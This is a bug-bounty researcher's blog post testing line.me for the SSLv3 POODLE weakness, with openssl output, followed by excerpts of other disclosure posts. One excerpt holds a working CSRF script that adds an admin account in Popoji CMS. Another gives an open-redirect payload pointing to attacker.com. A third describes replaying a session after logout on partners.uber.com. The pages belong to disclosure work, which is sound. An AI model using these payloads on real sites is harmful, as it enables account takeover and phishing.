SSLv3 POODLE Vulnerability On line.me

What is the POODLE attack?

Padding Oracle On Downgraded Legacy Encryption (POODLE) is an issue that affects SSL 3.0. If an adversary can modify network transmissions between the client and the server they can downgrade the SSL connection to SSL 3.0 and tamper with/decrypt data in transmission.

The actual problem stems from the fact that the block cipher padding in CBC encryption in SSL 3.0 is not fully verified during the decryption process.

Is line.me vulnerable to POODLE?

PoC : openssl s_client -connect line.me:443 -ssl3

Output : 


shan@pasuruanblackhat:~$ openssl s_client -connect line.me:443 -ssl3 
CONNECTED(00000003) 
depth=3 C = US, O = Equifax, OU = Equifax Secure Certificate Authority 
verify return:1 
depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA 
verify return:1 
depth=1 C = US, O = GeoTrust Inc., CN = GeoTrust SSL CA - G3 
verify return:1 
depth=0 C = JP, ST = Tokyo, L = Shibuya-ku, O = LINE Corporation, OU = System Operation Team, CN = *.line.me 
verify return:1 
--- 
Certificate chain 
 0 s:/C=JP/ST=Tokyo/L=Shibuya-ku/O=LINE Corporation/OU=System Operation Team/CN=*.line.me 
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust SSL CA - G3 
 1 s:/C=US/O=GeoTrust Inc./CN=GeoTrust SSL CA - G3 
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA 
 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA 
   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority 
--- 
Server certificate 
-----BEGIN CERTIFICATE----- 
MIIE+jCCA+KgAwIBAgIQT+BVpSsRw+hrDQWw2oOcaDANBgkqhkiG9w0BAQsFADBE 
MQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMU 
R2VvVHJ1c3QgU1NMIENBIC0gRzMwHhcNMTQxMDI4MDAwMDAwWhcNMTgwODI1MjM1 
OTU5WjCBgTELMAkGA1UEBhMCSlAxDjAMBgNVBAgTBVRva3lvMRMwEQYDVQQHFApT 
aGlidXlhLWt1MRkwFwYDVQQKFBBMSU5FIENvcnBvcmF0aW9uMR4wHAYDVQQLFBVT 
eXN0ZW0gT3BlcmF0aW9uIFRlYW0xEjAQBgNVBAMUCSoubGluZS5tZTCCASIwDQYJ 
KoZIhvcNAQEBBQADggEPADCCAQoCggEBAN4HfFL4D/oWZZ0Jezp7Y/HWlygVEqQC 
+3wZxhsFG1Co6NK45+1CZDP/8/Sc7PCKPNu36qHPXuGIzFhFm5hZ4kstyjdBegug 
LuESkACXwptYmhGoUECDf9xXGw5cZ47QYkzQhUXuM7RQSmcQ04w+t/enEscsARQ7 
3t6xa9S1FbDV1eGnJpolEqH9U/1Qhkfipyj+KWidgpAjpHOmJDgLjJYN/+SuzqUn 
8rC8vdBB0SxG8iOtp9B5PTytooqOb/WsJjbtZuXXU4h/bzdAj4RsXaxTLYLRGfSA 
UfHTx3pCkdB8UQFnxcanaWm71BR6M17J+ccGxgji9nEmAqe/ehuMMDECAwEAAaOC 
AagwggGkMB0GA1UdEQQWMBSCCSoubGluZS5tZYIHbGluZS5tZTAJBgNVHRMEAjAA 
MA4GA1UdDwEB/wQEAwIFoDArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vZ24uc3lt 
Y2IuY29tL2duLmNybDCBoQYDVR0gBIGZMIGWMIGTBgpghkgBhvhFAQc2MIGEMD8G 
CCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3Jl 
cG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1 
c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsG 
AQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb/eW9IU/cjwwfSPahXibo3xa 
fDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5j 
b20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqG 
SIb3DQEBCwUAA4IBAQACFmRMvPXqgMDDdk7oZQIaleqvSpG91hYvEQ3hq8jz+xHE 
cKYhOUkiPDSNJeHJNzOai9Gwm5/270HEQ/1xlC9KozHXa9L87DkgU1f07UhvvBUE 
jTeWo9kq/TbtG9iYh01vB0OZmGmIXRgnficCBsybZ5K7vif9D641Mzrb8HsSndVK 
JqEPh8rY2l5zE81BA5jrm/FUQE00xPs5Yh39GNiWrk7DClLbnGq8tKa6pWR035jA 
o/jPkfmgqjxw373HJPrH4F+vzOiLaYAxSL9hxdx6d/4bzjeVDJd9qyPZ7k0rAtQh 
+MZQF6PMnytMaxPuDAFJCTuHJygu6Nzv1E5leUON 
-----END CERTIFICATE----- 
subject=/C=JP/ST=Tokyo/L=Shibuya-ku/O=LINE Corporation/OU=System Operation Team/CN=*.line.me 
issuer=/C=US/O=GeoTrust Inc./CN=GeoTrust SSL CA - G3 
--- 
No client certificate CA names sent 
Server Temp Key: ECDH, P-256, 256 bits 
--- 
SSL handshake has read 3809 bytes and written 306 bytes 
--- 
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-SHA 
Server public key is 2048 bit 
Secure Renegotiation IS supported 
Compression: NONE 
Expansion: NONE 
No ALPN negotiated 
SSL-Session: 
    Protocol : SSLv3 
    Cipher : ECDHE-RSA-AES256-SHA 
    Session-ID: A5AA8292848A6DB036B1D73465854810AEC8A0537646660AA7292EB851D34BE0 
    Session-ID-ctx: 
    Master-Key: DAA3AA02DAA664CF7A76137268D64ABF539E34A0C7925D265DF0A011F0D637F773B79C756A757F42E47748F24E9D0EB9 
    Key-Arg : None 
    PSK identity: None 
    PSK identity hint: None 
    SRP username: None 
    Start Time: 1491872881 
    Timeout : 7200 (sec) 
    Verify return code: 0 (ok) 
--- 

Sadly, this is not get bounty :(

Comments

Post a Comment

Popular posts from this blog

Missing CSRF Token On Add Admin [Popoji CMS]

Image
Description: This is happen because when request add admin there's no CSRF token Step To Reproduce : <script>function getMe(){ // retrieve page content var xhr = new XMLHttpRequest(); // now execute the CSRF attack xhr.open("POST", "http://root/popoji/poadmin/ route.php?mod=user&act=addnew", true); xhr.withCredentials="true"; xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.send('username=root&nama_lengkap=test&password=Mypass1337&repeatpass=Mypass1337&email=nosashan dy21%40gmail.com&no_telp=083833232954&level=1'); } </script> <button onclick="getMe();">Let's Rock</button> 1. Save code to .html 2. upload them to host 3. execute it. Video :  https://www.youtube.com/watch?v=1FXXuSiB6jo Fix & Mitigation : give token when request sensitive action. Note: them give me permission to disclose it, and th
Read more

Open Redirect On Codepolitan.com

Image
Open Redirect On Codepolitan.com Description :  Open redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access. Impact : Force user go to untrusted website from codepolitan website Location of bug :  https://www.codepolitan.com/users/login?callback= Payload : http://attacker.com Reproduce : 1. Open https://www.codepolitan.
Read more

Session not expired When logout [partners.uber.com]

Image
It's funny, when i can reproduce it 4 days ago and make some video, the team said we’re unable to reproduce this issue following the steps you provided. it's i copy - paste with my report on hackerone   Hi, Summary partners.uber.com website is not expiring the user's session immediately after logout. when user logout, the session not expired, and still can send request and the server respond response with OKAY Steps to Reproduce: Log into the website - partners.uber.com Capture any request. For ex, profile edit page using burp proxy. Logout from the website. Replay the request captured in step 2 and notice it displays the proper response. Thanks, the team it's fixed this issue, and say this is was unvalidated issue.but the team won't to disclose report, finally after few roast, team agree to disclose. i try to contact hackerone team with support, because when i want to call hackerone team to my report, there's no option on my report. Last
Read more